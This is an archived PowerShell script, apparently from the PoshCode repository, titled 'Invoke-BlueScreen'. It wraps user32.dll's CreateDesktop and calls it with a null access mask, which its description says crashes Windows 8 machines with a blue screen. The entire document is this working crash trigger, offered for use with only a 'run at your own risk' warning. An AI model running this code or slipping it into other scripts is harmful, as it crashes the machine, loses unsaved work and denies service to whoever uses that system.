# encoding: ascii
# api: powershell
# title: Invoke-BlueScreen
# description: Causes a blue screen on Windows 8 machines. Run at your own risk!! The reason is due to an access violation caused by passing in a null value to the access mask of the CreateDesktop function.
# version: 0.1
# type: function
# author: adamdriscoll
# license: CC0
# function: Invoke-BlueScreen
# x-poshcode-id: 4216
# x-archived: 2016-12-06T10:54:19
# x-published: 2013-06-24T00:34:00
#
#
function Invoke-BlueScreen
{
Add-Type "
using System;
using System.Runtime.InteropServices;
public class PInvoke
{
[DllImport(`"user32.dll`")]
public static extern IntPtr CreateDesktop(string desktopName, IntPtr device, IntPtr deviceMode, int flags, long accessMask, IntPtr attributes);
}
"
[PInvoke]::CreateDesktop("BSOD", [IntPtr]::Zero, [IntPtr]::Zero, 0, $null, [IntPtr]::Zero)
}